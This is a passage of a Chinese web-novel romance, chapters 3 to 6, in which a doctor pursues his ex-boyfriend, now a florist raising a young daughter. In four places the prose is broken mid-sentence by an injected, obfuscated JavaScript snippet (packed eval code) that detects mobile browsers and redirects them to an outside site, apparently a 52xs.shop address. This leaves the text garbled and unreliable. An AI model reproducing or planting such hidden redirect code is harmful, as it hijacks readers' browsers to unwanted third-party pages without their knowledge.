江景盛贪婪的目光落在容清身上,漆黑的瞳孔渐渐变深,暗潮汹涌。 容清低着头,紧咬着下唇瓣。 江景盛的目光太具有侵略性,他慌乱地拿起一旁的玫瑰,被上面的刺扎了一下。 “嘶。” 江景盛这才看到他手上大大小小的伤疤,他往前一步,紧紧地攥住了容清的手,蹙着眉头心疼道:“你的手受伤了。” 容清吓了一跳,想收回手,不料江景盛更加用力握紧了他。 “你……” 江景盛:“我车上有药箱,你在这等我一会。” “不用……”容清来不及阻止,只能看着他的背影,喃喃地说出未完的话:“这么麻烦。” 没过多久,江景盛便折了回来,手里拎着药箱,快步地朝他走来。 容清懊恼地皱了皱眉,有些不知所措地站在那里。 “让我看看你的伤。”江景盛一边打开药箱,一边向他伸出了手。 容清抿紧了唇,神色犹豫不决。 江景盛微微叹气:“我首先是医生。” 容清沉默片刻,战战栗栗地把手放在他面前。 江景盛握着他的手,用棉签轻轻擦拭着他的伤口,表情认真且严肃: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320324|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有点疼,忍一忍。” 容清其实没听清楚他在说什么,也不感觉到有多疼,他的全部心神都被江景盛所吸引。 昔日相处的一幕幕在脑海中反复呈现。 还记得很久之前,他心血来潮要给江景盛做早饭,只是煎个鸡蛋这么简单还把手给烫伤了,那时候的江景盛也像此时此刻这样心疼又带着自责地给他清理伤口。 他瞬间变得恍惚起来。 今夕是何年。 “好了。” 容清回神,对上江景盛温柔的目光,心里狠狠一颤,江景盛捧着他的手,视若珍宝的模样让容清心里很不是滋味,他收回手,小声地说了句:“谢谢。” 江景盛垂眸,看着空空的掌心,遗憾地抿了抿唇,小声地叮嘱他:“尽量不要碰水,避免摩擦和感染。” 容清点点头,但没放在心上。 他要照顾容橙的衣食起居,自然不可能不碰水,更别说他还需要工作,花店的花也要经常喷一下水。 这点伤口,过几天就痊愈了。 江景盛看他这副敷衍的态度自然知道他在想什么,环顾四周看了一下店里摆放着的花,轻声问道:“今天的营业额还差多少?” “什么?”容清愣了一下。 江景盛:“如果我把剩下的花都买了,你是不是可以关店休息了?” 他的脸色很差,双眼间不经意透漏出来的疲惫感和眼底的乌青都证明他没有得到很好的休息,身体看起来也很虚弱,江景盛不敢细想这些年他一个人是怎么过来的。 每每想到他丢下容清整整五年,江景盛就心痛到无法呼吸。 容清深吸一口气,无奈地对他说道:“江景盛,我们已经分手了五年了,我们早在五年前就已经回到陌生人的位置上,现在的我和你除了是前男友的关系,仅仅只是陌生人。” 江景盛微微启辰,刚想说点什么,容清堵住了他的话:“就像你说的,离开你这五年,我过得确实不怎么样,但无论是好是坏,都与你没有关系了。” 容清冷漠的神情就像五年前他们分开的那个雨夜。 听到这句话,江景盛明显怔住在那,喉咙涌上一抹腥甜,声音浓稠嘶哑,哽咽地说道:“对不起。” “没什么好对不起的,你说得没错。”容清心弦一颤,低垂眉眼,不敢让江景盛看到他微红的眼眶。 “对不起,小清,是我说错话了。”江景盛再次跟他道歉,站在他面前低着头,就像犯错的孩子。 也像很多年前,江景盛每次惹他不高兴时,总是乖乖地站在他面前,低着头,一副任由他打骂的样子。 容清揉了揉眉心,轻叹一声:“我接受你的道歉,所以也请你不要再打扰我的生活了。” “还有。”容清抬起头对上他的双眼,正色道:“我已经结婚了,容橙是我的亲生女儿,你也见过了,我们一家三口过得很好,也谢谢你母亲当年慷慨的百万分手费。” 空气仿佛在一瞬间冻结,两人看着彼此,陷入了短暂的沉默。 容清屏住呼吸,生怕下一秒就会露馅,而当他转过身的时候,江景盛沉沉的声音传到耳边。 “你说谎。” 容清顿住脚步,心里咯噔一声,不受控制地快速跳动起来。 “你骗了我五年。”江景盛自嘲地笑了笑,带着几分苦涩地开口:“你只是随便用一个理由甩了我,然后消失在我的世界里。” “容清。” “我不想分手。” “我也没答应分手。” 容清喉间溢出一声叹息,无奈地开口:“江景盛你现在是要跟我耍无赖吗?” 江景盛想要朝他走近,容清见状退后一步并大声斥道:“停,你不要再靠近了。” 闻言,江景盛立刻露出一抹难过的神色,一颗晶莹剔透的眼泪滑落他的脸庞。 容清微微一怔,别过头,声音颤动:“你身上的烟味太重了,我不喜欢。” 从江景盛进门的那一刻,容清就已经感觉到了他身上那股浓浓的烟味,连香水都盖不住,就像他整个人都包裹着一股呛人难闻的烟草味。 也不知道他是抽了几包烟。 是不要命了吗? 江景盛僵硬地站在原地。 他太心急来见容清,都忘记了容清向来不喜欢他抽烟。 他总是让容清对他失望。 江景盛后退一步,距离他远远的。 “我晚点再来找你。” 说完这句话,江景盛就离开了花店。 容清默默地看着他的背影,苦涩地笑了笑。 他不知道江景盛是不是查出来了什么,所以才这样迫不及待地要来找他。 无论江景盛还喜不喜欢他。 可这五年的隔阂和误会,也不是短时间能消除得了的。 他还是喜欢江景盛,但不代表他可以这么轻易地放下过去的一切,然后坦然地接受江景盛,和他回到最初的模样。 他做不到。 4. 第 4 章 江景盛来得突然,走得也很突然。 容清看着桌子上那束还未包装好的洋桔梗露出几分茫然的神色。 所以,江景盛不是偶然路过花店,而是特意来见他一面。 明明昨天江景盛看见他的时候还很冷漠,甚至恶言相向,今天态度来了个一百八十度大旋转,是在他不知道的时候发生了什么事情吗? 除了容橙,容清甚至想不到任何让江景盛态度转变的关键节点。 他到底是怎么暴露的,他全程盯着,没敢让容橙摘下口罩,甚至还谎报了年龄。 就在容清沉浸在自己思绪的时候,一阵电话铃声打断了他的思路。 “刚才有位客户打电话过来说要包下店里所有的花,已经把钱打到我的账上了,一会会有工作人员来清点花束,小清你配合一下他们的工作,让他们把库房里的花都搬走就行了,等处理完事情之后你就直接关店休息吧。” 老板娘喜气洋洋的声音从话筒里响起,容清愣了一下,猛然想起刚才江景盛对他说的那番话,忍不住开口询问:“姐,那位客人是不是姓江?” 老板娘笑道:“是啊,江先生说是你介绍来的,还说早上来店里看过花了。” 容清尴尬地笑了笑,一时间不知道该怎么接话。 老板娘以为他是不好意思,便主动开口:“多亏你介绍的这位客人,把我们店里面一些积攒了许久的存货都清出去了,他把那些盆栽都定下来了,这个月姐给你的奖金翻倍。” 容清只能连连谢过。 其实也不关他什么事,只是江景盛有钱,要当冤大头。 让他惊喜的是老板娘还给他放了三天假,他可以趁这次放假的机会多陪陪容橙,带她到游乐园或者海洋公园。 负责搬运的工作人员很快就来了,看着店里的花一点点被搬走,整个店铺都被搬空了,动静闹得有点大,隔壁的店家还以为他们店铺是倒闭了,容清笑了笑说:“是一位大老板包下了店里的花。” “真不错啊。” “是啊。”容清点点头,毕竟对于江景盛来说也不算什么钱。 除了他放在桌面的那束洋桔梗之外,其他花已经全部清点完毕。 容清疑惑地看着工作人员,轻声问道:“这束花不一起带走吗?” 工作人员核对了一下手机里那张照片,开口解释:“江先生说这是送给您的花,不用搬走。” 容清沉默了。 原来江景盛还记得他喜欢洋桔梗。 花店的工作结束后,容清把花店打扫了一遍,关上门店,来到了附近的超市。 家里的粮仓告急,趁着下午放假,他要填补一些家里的生活用品。 货架上的商品琳琅满目,容清在仔细挑选一些合适容橙吃的小零食,上次去医院给容橙做体检的时候,医生有叮嘱过他平时可以给容橙喂一些坚果类的食物。 “这个牌子还不错,四岁的小朋友可以吃。” 身后传来一把熟悉的声音,容清猛地吓了一跳,下意识地回头看去,精心打扮过的江景盛就这么猝不及防再次出现在他的面前。 与早上不修边幅的样子相比,简直是换了个人。 他身穿一件休闲的西装,一副金色的细框眼镜挂在高挺的鼻梁上,一股禁欲的气息扑面而来。 精致的五官,棱角分明的下颌线,英俊帅气的脸比起五年前更成熟更有魅力。 身上还散发着一股淡淡的香水味。 与他记忆中少年的样子慢慢重叠,容清眨了眨眼,感慨万分,江景盛不愧是精致到头发丝的男人。 当年也是这般,撩得他春心萌动。 容清被他这副样子唬住,所以也就忽略了江景盛说的那句“四岁的小朋友”。 江景盛见他一副呆呆的模样,微不可察地扬起唇角:“小朋友可以多吃一些花生、核桃等坚果类的食物,它们营养成分都比较高,可以补充体内一些微量元素,促进孩子大脑发育,是不错的选择,可以放心购买。” “不行,她花生过敏。”容清脱口而出。 话音刚落,两个人都怔了怔,一种微妙的气氛在空气中扩散。 容清率先反应过来,急忙找补:“是我太太,她对花生过敏,孩子也遗传了她的过敏症状。” “嗯。”江景盛闻言,忽地笑了笑。 容清懊恼地咬了咬下唇瓣,他不是很明白江景盛在笑什么,也不明白他为什么会出现在这里,现在是流感的高发期,他作为门诊大夫不应该很忙的吗? 像是看出了他的疑惑,江景盛解释:“我不是负责门诊部的医生,只是前段时间帮同事代一下班而已。” 容清沉默地看着手里的那袋坚果,江景盛就静静地站在他身旁。 许久之后,容清出声:“我不明白。” 江景盛:“什么?” 容清绷紧着脸,试图掩饰内心的不安,沉声道:“我结过婚,现在还有孩子,你不在的那几年,我和别人共同孕育孩子,我们甚至有一个幸福美满的家庭。” “我不介意。”江景盛看着他,目光晦涩,声音很轻:“哪怕是真的,我也不介意。” 容清双眼微微睁大,心突突地跳个不停。 江景盛的目光专注地落在他的身上,温柔又炙热,容清下意识地避开他的视线,不知所措地推着购物车,漫无目的地往前走。 江景盛的出现扰乱了他的心神,连原本坚定不移的内心都慢慢开始动摇。 无论多少次,他都很难拒绝江景盛。 哪怕五年毫无音讯。 风轻轻一吹,可以燎原。 容清:“江景盛,我们已经分手了。” “所以我在追求你。”江景盛眼神微暗,清冷的声线中带着沙哑。 容清心尖一颤,强装镇定地说道:“这并不好笑。” 他低着头,江景盛看不清他的表情,“你知道的,我从来不跟你开玩笑。” 两人又陷入短暂的沉默。 容清强忍着心里的悸动,抬起头看向江景盛,冷漠开口:“我们不合适。” 江景盛出身富贵之家,是站在金字塔上的人物,他这一生注定不凡,而自己不过是混迹在底层的小人物。 就像他的母亲曾经所说的,江景盛跟他不是一路人。 而平凡又普通的他,怎么配站在江景盛身边。 如果他们合适的话,当年就不会分手了。 江景盛垂眸看着容清,眼眶泛红,努力咽下从喉间涌上来的酸意,声音哑得快要碎掉:“合不合适,不应该让你我之外的他人来评判,小清,这对我不公平。” 容清难过地别开头,眼泪不受控制地从眼眶滚滚落下,他悄悄地吸了吸鼻子,不想让江景盛发现他的异常,可浓浓的鼻音还是出卖了他。 “我不喜欢你。” “我早就不喜欢你了。” “没关系。”江景盛站在他的身后,挨得极近,难过的声音带着几分乞求:“我们可以再勇敢一次。” 容清抹去眼角的泪水,别扭地开口:“如果你只是心血来潮,或者想要报复我当年甩了你,完全没有这个必要。” “不是心血来潮,更谈不上报复。”江景盛急切地想要跟他解释,连声音都带着点慌乱:“我这几年一直在漂亮国,最近才回来。” 他不否认爱过也恨过,但他更恨的是当年那个无能的自己。 他会选择留在南芜市,是因为这里曾经是他们规划过的未来。 只是没想到重逢的这一天来得这么突然,江景盛甚至没做好心理准备。 看见容清抱着孩子的时候,他心里嫉妒得快要发疯了,才会说出那句伤人的话。 容清心里五味杂陈,但更多的是委屈和难过:“我说我不喜欢你了。” 江景盛淡笑道:“嗯,我听见了。” 容清:“你是不是没听清楚,我再说一遍,我说我不喜欢你了!” 江景盛点点头:“嗯,但我喜欢你。” 容清噎了下,深吸一口气,开始吐槽:“你烟瘾大,一身烟味臭得要死,你还喜欢喝酒,又烟又酒,肯定是个短命鬼,长得难看,年纪又大,在我们小区连相亲都没有市场。” 江景盛被他好一顿数落,一时间没反应过来。 直到容清小心翼翼地瞟了他一眼,像是在观察他有没有生气,江景盛恍惚地回过神,笑着从口袋里摸出几颗糖:“我会好好戒烟的,小清可以监督我。” 容清看着他手心里那几颗糖,微微抿唇。 这个牌子的糖果他还记得。 当年江景盛喜欢抽烟,他每次就买几颗这个牌子的薄荷糖,悄悄换掉他口袋里的香烟。 “成为医生之后,我基本不怎么喝酒了。”只是每次想起容清的时候,他的脚边总是堆满了各种空空的酒瓶子,江景盛顿了顿继续说道:“但你说得没错,我年纪大,长得也不好看,更没有相亲市场,所以我只能腆着脸来找前男友复合。” 容清怒瞪了他一眼,推着购物车去柜台买单。 江景盛跟在他身后,手里还拿着那几盒被容清拿起看了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320325|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼又放下来,舍不得买的贵价水果,还在容清要买单的时候抢先把账单付了。 看着江景盛略微得意的笑容,容清懊恼地说着:“多少钱我转给你。” “好啊。”江景盛开心地点了点头,刚想拿出他的二维码。 容清:“收款码。” 江景盛忽然僵住,他忘记了除了加好友转账以外,还可以直接扫码支付。 他原本是想着用这样的方式加上容清现在的微信账号,所以听到“收款码”这三个字的时候傻眼了。 容清催促道:“快点。” 江景盛轻咳一声:“手机坏了,收款码刷不出来。” 骗谁呢? 容清看着他的目光充满了怀疑,就这不到一分钟的时间手机就坏了? 江景盛尴尬地笑了笑:“或许……你可以给我现金?” “可以。”容清掏了下口袋,才发现今天早上忘记带钱包出门了。 江景盛见状,带着几分诱哄的意味开口:“或者可以先加个微信,后面再转回来。” 容清:“……” 他又不傻,江景盛这样折腾的目的不就是为了想加他的好友。 无奈之下,容清只好把他带回了自家楼下,既然江景盛都查到他在哪里工作,自然也知道他在哪里住。 所以他也就不用遮遮掩掩了。 “你在这里等我。”容清没打算让他进家里,只是让他在楼下等着,自己上去拿钱。 江景盛乖巧地点了点头。 只是容清刚走了两步路,江景盛就跟了上来。 容清无奈地回头看了他一眼:“不是说好在原地等我吗?” 江景盛无辜眨了下眼睛。 四目相对,容清率先败下阵来。 他还是没江景盛脸皮厚。 破旧的外墙,散发着淡淡的霉味,楼梯间的灯光很暗,空气并不好。两人的脚步声交叠,像踩在容清的心尖上,每走一步,他内心就颤动一下。 江景盛就站在他身后,两人间隔不到一臂的距离。 他仿佛还能闻到江景盛身上那股淡淡的香水味。 思念五年的人就这么硬生生出现在他的面前,江景盛一出现就搅乱了他所有心神,他甚至无法思考对与错,所以就这么稀里糊涂地答应了江景盛,让他进了自己家的门。 趁着容清到房里拿钱,江景盛四处打量着周围的一切。 容清的房子比江景盛想象中还要小很多,小小的客厅连电视机也没有,堆满了各种生活杂物,但收拾得井井有条,阳台上还有他种的绿萝。墙壁上贴着粉色的墙纸,上面还有各种涂鸦。 容清从房里拿出钱包,数了数还是差两块散钱,他掏出一张五块递给江景盛:“剩下的三块钱不用找了。” 江景盛一本正经地拒绝:“不行,加个微信吧,我转给你。” 容清无语地瞥了他一眼,三块钱还要计较什么。 他就不应该一时糊涂带江景盛回家,也不应该再跟江景盛纠缠。 现在他就是想把人撵走,也不知道怎么开口。 他以前怎么没发现江景盛这么无赖。 在他纠结怎么下逐客令的时候,江景盛说要上洗手间,容清也不好直接把人赶出去。 江景盛推开洗手间的门,一股甜香的沐浴露味道扑鼻而来,不到两个平方的空间,还塞了一台洗衣机,置物架上摆放着一大一小的洗漱用品。 整个房子除了他还不曾踏进的区域——容清的卧室,其他地方并没有看见第三个人生活的痕迹。 其实他只是想知道容清过得好不好。 等江景盛出来,容清已经在厨房里准备晚餐的材料了。 看见容清在清洗食材,江景盛蹙着眉头,紧绷着脸,快步走到容清身后,把水龙头关掉,沉声说道:“你的手不要了?” 容清不在乎地嘀咕了句:“不就是个小伤口。” 在他打算把水龙头重新打开的时候,江景盛从背后握住了他的手。 容清错愕地转身,额头刚好擦到他柔软的嘴唇。 两人都愣了愣,惊讶地看着彼此。 距离在一瞬间拉近,容清甚至能清晰地看见他瞳孔里的倒影。 “你、你离我远点。”他对上江景盛深不见底的目光,声音越说越小。 容清恍惚地退后一步,才惊觉,江景盛堵住了他所有退路。 他被困在江景盛怀里,心跳声扑通扑通响彻耳边。 他甚至分不清,是他的心跳声还是江景盛的心跳声。 5. 第 5 章 容清坐在沙发上,思绪飘得很远。 厨房里时不时传来碗碟碰撞的声音,容清看着江景盛忙碌的身影,恍恍惚惚地回忆起从前。 眼下的这一幕和印象里的他们的日常生活再次重叠。 那时候的他和江景盛和此时此刻的他们完全一致,江景盛在厨房里给他做晚饭,他就在客厅里躲懒。 连厨房里溢出的鸡汤味道都未曾变过。 容清吸了吸鼻子,闻着那股诱人的香味,肠道蠕动,发出咕咕声响。 他也不明白事情怎么就突然发展成这样。 原本他只是想着回家把现金还给江景盛,被他别有用心登堂入室。 容清看着手背上那几个小水泡,涂着厚厚的药膏,凉丝丝的,早就不疼了。 对他而言只不过是普通的小伤,甚至是微不足道,是他平日里也会刻意忽略的伤疤。 可对于江景盛而言,好像并不是这样。 就像当年他因为给江景盛做早餐烫伤,明明是他的问题,江景盛却自责了很久。 容清感慨万分,无数种情绪交织在一起,酸酸胀胀的感觉填满了整颗心脏。 这五年,他曾经也幻想过这一幕。 他和江景盛还有容橙,一家三口团聚,他陪着容橙在客厅里面玩玩具,江景盛负责他们的晚饭。 他偶尔也会想,如果当时他坚持下来,相信江景盛会把事情处理好,相信江景盛的感情,那他们是不是会有不一样的结局。 每一个失眠的深夜,他都反复地在问自己。 当年到底是自己意气用事,以成全为借口,不让江景盛为难,还是因为自己懦弱逃避,害怕江景盛最后放弃他。 他不知道。 但是开弓没有回头箭。 在分开的那一刻,他就知道,他和江景盛这辈子完了。 他想过江景盛会恨他,所以他不敢出现在江景盛面前。 他害怕从江景盛嘴里听到那些会让他难过的话。 昔日的甜蜜早已化为了泡影。 就像昨天他们猝不及防的重逢。 江景盛的冷漠,都让他觉得他们之间再也无法回到从前了。 本该如此。 可今天江景盛的表现,让他深深地陷入了不安。 如果江景盛想要报复,他也会心甘情愿踩进他设下的甜蜜陷阱。 容清抱着双腿坐在沙发上,难过地埋着脸,直到耳边响起江景盛的脚步声,他迅速地擦了擦湿润的眼眶,手忙脚乱地拿起放在一旁的手机,假装自己在刷小视频。 江景盛端着一碗鸡汤放在他面前的茶几上,然后来到他跟前蹲下来,蹙着眉头,担忧地看着他:“怎么了?” 容清愣了愣,下一秒,眼泪夺眶而出。 他怔怔地看着江景盛,眼眶迅速泛红,鼻子酸酸的。 他紧抿着唇,眼泪还是止不住地滑落。 江景盛慌忙地擦了擦手,跪在他面前,将在沙发上坐着的他紧紧抱进怀里。 容清瞳孔微微睁大,僵硬地被他抱着。 江景盛轻轻拍着他的背,什么话都没说。 容清闭上双眼,任由泪水打湿他的衣服。 直到很久,容清已经平复了心绪,呼吸也渐渐平稳。 安静美好的气氛逐渐变得尴尬,容清不知道该怎么推开他。 江景盛松开了怀抱,柔声哄道:“汤要冷了,要不要尝尝看我这些年的手艺有没有退步。” 容清顺着他的台阶下来,但还是嘴硬地说了句:“鸡汤还能看出来什么手艺。” 江景盛喉间溢出一抹笑意:“那我明天再来给你做点别的。” 容清听后沉默了。 江景盛的意图太明显了。 他不知道该怎么接这句话。 见容清不说话,江景盛转移了话题:“我看见你柜子上摆放着很多药,但有些药物不太适合容橙。” 听江景盛主动提起容橙,容清下意识心头一紧,接着听到他说是关于药物的问题,容清心里更加紧张了:“有什么问题?” 江景盛:“她身体底子差,好好养着慢慢调理就好了,不急于一时,有些药物只能起到一定的辅佐作用……” 他轻声细语给容清科普了许多关于药物和孩子的健康问题。 他的语气温和,并没有责怪的意思。 可容清却想的是,如果容橙跟着江景盛,会不会比跟着他好。 最起码江景盛能提供给容橙更好的生活环境和条件。 想到这里,容清的脸色几近透明,他看着江景盛,脸上笑意全无:“你怎么会对容橙这么清楚,你查过她?” 空气仿佛在一瞬间凝固,变得死气沉沉。 容清沉默地盯着他看,屏住呼吸,紧张地咬着下唇瓣,不敢错过江景盛任何表情。 江景盛顿了顿,随后摇摇头解释:“只是昨天给她开药的时候,顺便查了查她留在医院的档案。” 容清瞬间松了口气,紧绷的神色缓和下来。 江景盛垂眸,敛去眼底的晦涩,缓缓开口:“你的身体还不如容橙。” 容清不想谈这个话题,敷衍道:“只是最近工作比较忙,状态不好而已,没什么毛病。” 江景盛眉头紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320326|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁,不赞同道:“有时间到医院做一次检查吧,我……” 他的话还没说完,一阵手机闹铃响起,容清干脆打断了他的话:“有时间再说吧。” 容清并不是不知道自己身体有问题,而是去医院做一次全身体检要花很多的钱,他现在的日子都过得紧巴巴的,怎么挤出这笔钱去做检查。 江景盛还想说点什么,但容清很明显不想继续这个话题,他也只好放弃,虽然很担心容清的身体状况,但也不想惹他不快。 几分钟之后,铃声再度响起。 容清开始焦虑,频频地看向放在一旁的手机,一副欲言又止的模样。江景盛猜测这个时间的闹钟可能是提醒容清要去房东家接孩子,所以他主动开口:“时间很晚了,晚上我还有工作要处理,我先回去了,明天我再来找你。” 听到江景盛的话,容清下意识地想要拒绝,但他又不想浪费时间跟江景盛掰扯,只能点头答应。 江景盛唇边浮起笑意,临走时还不忘叮嘱他要注意伤口不要沾水。 容清嫌他啰嗦,催促他快点走。 江景盛眉眼含笑跟他道别,只是在关上房门后,脸上的笑意褪去,他能感觉到容清对他不信任,并且害怕让他知道容橙的存在,所以每当他提起容橙的时候,容清都变得格外紧张。 容清小心翼翼试探他的模样,让江景盛很难过。 他怎么可能会跟容清争夺抚养权。 他有什么资格把容橙从容清身边带走。 他想要的怎么会是容橙。 江景盛趴在方向盘上,苦涩的味道在口腔里蔓延,眼底透着悲凉。 过了一会,容清匆忙地从那栋破旧的楼房下来,快步朝房东家走去。江景盛静静地坐在车里面,昏暗的天色让路过的容清根本察觉不到车里有人。 夜色沉沉。 江景盛看着后视镜里越走越远的身影,叹了一口气,有种庆幸又失落的感觉萦绕在他的心头。 庆幸的是容清没有发现他,失落亦是如此。 几分钟后,容清拉着容橙的手再次出现在他的视野之中,两人说说笑笑地往家里的方向走去。在他们走远之后,江景盛摸了摸口袋,刚想抽一根烟,忽然想起他答应容清说的戒烟。 这几年他的烟瘾大,口袋里常备着几包烟,直到今天早上急急忙忙回去换衣服洗漱的时候,才把烟落下,没带出门。 他把车里的扶手箱打开,里面还有两盒烟,他看了几秒,随后把箱子关上,从口袋里掏出那几颗薄荷糖,撕开糖纸,放进嘴里。 甜。 和当初容清给他的那颗糖味道一样。 6. 第 6 章 鸡汤的味道从厨房溢出来,在空气中蔓延,一点一点渗透在房间的每个角落。 两碗鸡丝汤面还在厨房里热着,容清微微一怔,他有跟江景盛说过他想吃什么吗?江景盛是怎么知道他要做鸡丝汤面的? “爸爸,好香。”容橙踮起脚尖看着那两碗面,舔了舔嘴角,“可以吃了吗?” “当然可以。”容清把面端到客厅的餐桌上,虽然面条放久了有点坨,但丝毫没有影响它的美味。 看容橙吃得很香,容清无声地叹了口气,他怎么这么轻易地就被江景盛忽悠到了。 叮—— 陈老师发来一条消息。 [家长您好,我们园区将在14号下午两点举行亲子活动,此次活动……邀请父母双方一起参加。] 容清瞬间泄了气。 这是他最害怕遇到的事情。 幼儿园经常会举办一些亲子活动,但容清的工作的原因很难抽出空来陪容橙参加节目。 而且他们是单亲家庭,如果容清不去就意味着容橙无法参与节目。 他不希望给孩子落差感,尽量每次有亲子活动的时候都会跟老板娘请假陪孩子参加节目。 也是在第一次参加亲子活动时,容橙才知道了她没有妈妈这件事。 那天来了很多家长,很多小朋友都有父母双方陪同,在结束活动回家之后,容橙问他:“爸爸,妈妈呢?” 容清愣了好久。 在这之前,容橙并没有这方面的意识,他们父女俩相依为命,容清从来没在她面前提过其他人,所以容橙也不知道原来她还有另外一位父亲,也不知道他其实担任的是“母亲”的角色,直到那次亲子活动,她看见别的同学都是爸爸妈妈陪同,而她只有爸爸一个人的时候,她才恍恍惚惚察觉到她和别的小朋友有什么不同,尤其是当别的小朋友问她“你妈妈呢”。 容清当时说不上话来,他抱着容橙,苦涩和酸楚蔓延在他心里的每一个角落,他强忍着泪水,努力憋出一丝笑意:“妈妈去了很远的地方。” 容橙:“那妈妈还会回来吗?” 容清已经忘记他当时是怎么回答的了。 “爸爸。”容橙的声音将他的思绪拉了回来。 容清:“怎么了?” 容橙给他看了看自己空空的小碗,说:“我吃完啦。” 容清立刻赞道:“我们宝宝真乖,爸爸明天带你去游乐园好吗?” 容橙双眼发亮,惊喜地笑道:“是真的吗?” 容清点点头:“嗯,爸爸给橙橙请假了,明天我们早上就出发。” 他很少带容橙出去玩,想趁着这次难得有假期可以带容橙去趟游乐园,带她出去逛逛,自己也可以散散心。 第二天一早容清就带着容橙出了门。 南芜乡是一个小镇,距离市区有点远,要坐一个多小时的车程,而且每天只有三趟公交。 容清不是第一次来游乐区,但是第一次带着容橙来游乐园,在经过一系列的排队买票之后,他才发现原来这么麻烦。 以前江景盛带他来的时候,都是找个地方让他舒舒服服坐下,然后自己去排队买票。 他什么都不用做,江景盛就会帮他把所有事情安排好。 容清带着容橙在游乐园转了一圈,带她坐旋转木马,带她玩泡泡池,玩了大半天,直到快傍晚的时候才坐上了最后一班车回家。 他抱着容橙坐在公交车最后一排靠窗边的位置,一路睡到终点站。 容橙趴在他怀里熟睡,容清抱着她上楼,疲惫得快睁不开眼了。 楼梯间一团模糊的黑影将他吓了一跳。 “是我。” 江景盛站起来,刚好此时楼梯间昏暗的灯光亮了亮。 容清脸色稍缓,心有余悸:“你怎么在这里?” 江景盛把脚边的袋子提拉起来,淡淡道:“来给你送食谱,顺便买了点东西。” 容清的目光顺着他手里的购物袋看去,被地上那一堆撕开的糖纸吸引了目光,怪不得他总闻到一股香甜的糖果味道。 江景盛轻笑:“答应你的,把烟戒了。” 容清怔了怔,久久说不出话来。 这么多糖纸,他是在这里等了自己多久。 容清转身,慌乱地从包里掏钥匙,异样的情愫萦绕在心头,他手忙脚乱的,甚至把熟睡的容橙都弄醒了。 “别急,慢慢来。”江景盛的声音平缓,带着安抚的意味。 可容清根本无法静下心来。 容橙抱着容清的脖子呢喃:“爸爸,我们回家了吗?” 容清声音微颤:“嗯,已经到了,橙橙继续睡吧。” 在昨天听到江景盛说今天会继续来找自己的时候,容清知道他一定会来,他当时犹豫过要不要把今天自己要带容橙去游乐园的这件事告诉江景盛,可是到最后,他还是什么都没说。 他原本以为,江景盛今天来找他的时候吃了闭门羹,会明白他的意思,自动自觉离开。 他也想过,江景盛可能会等他。 但当他真的意识到江景盛或许真的等了他很久的时候,他心乱如麻,愧疚的感觉涌上心头。 他一边开门一边说道:“为什么要等我回来呢,你甚至都不知道我会什么时候回来,万一我这几天都不在家呢?难道你就这么一直等我吗?” “嗯。”江景盛回道。 容清顿了顿,捏着钥匙的手微微颤抖。 “我来吧。”江景盛的手覆盖在他的手背上,轻轻拧开了门。 容清垂眸,声音艰涩:“你没有生气吗?” “你为什么觉得我会生气?”江景盛站在他的身侧,两人挨得极近,淡淡的檀木香很快将他包围。 容清不知道该说什么,表情有些难堪。 江景盛笑道:“是我要等你的,跟你没有关系,是因为我想等你,所以多久也没关系。” 容清张了张嘴,最后还是什么都没说。 江景盛打开房门,跟着容清走了进去。 容清把容橙抱进房间,让她继续睡,把她哄睡着的这短短几分钟,他挣扎了无数次,所以在回到客厅之后,他主动向江景盛提起:“你的微信多少,我把剩下的两块钱还你。” 突如其来的惊喜让江景盛忍不住露出一抹笑意,他快速地加上了容清的微信好友,生怕他反悔一样,在收了两块钱的转账金额之后,开始给容清讲解他带来的食谱,试图转移容清的注意力,免得他把自己好友给删了。 江景盛讲得很详细,甚至给他带来很多补品,容清看得出来那些东西都是给他补身子的。 他想要拒绝,但他知道江景盛不会给他拒绝的机会,但仔细想想,他因为生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320327|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子身体元气大伤,江景盛是罪魁祸首,所以他就心安理得地收下了。 “爸爸。” 稚嫩的童音打断了两人的交谈,目光齐齐看向房间门口。 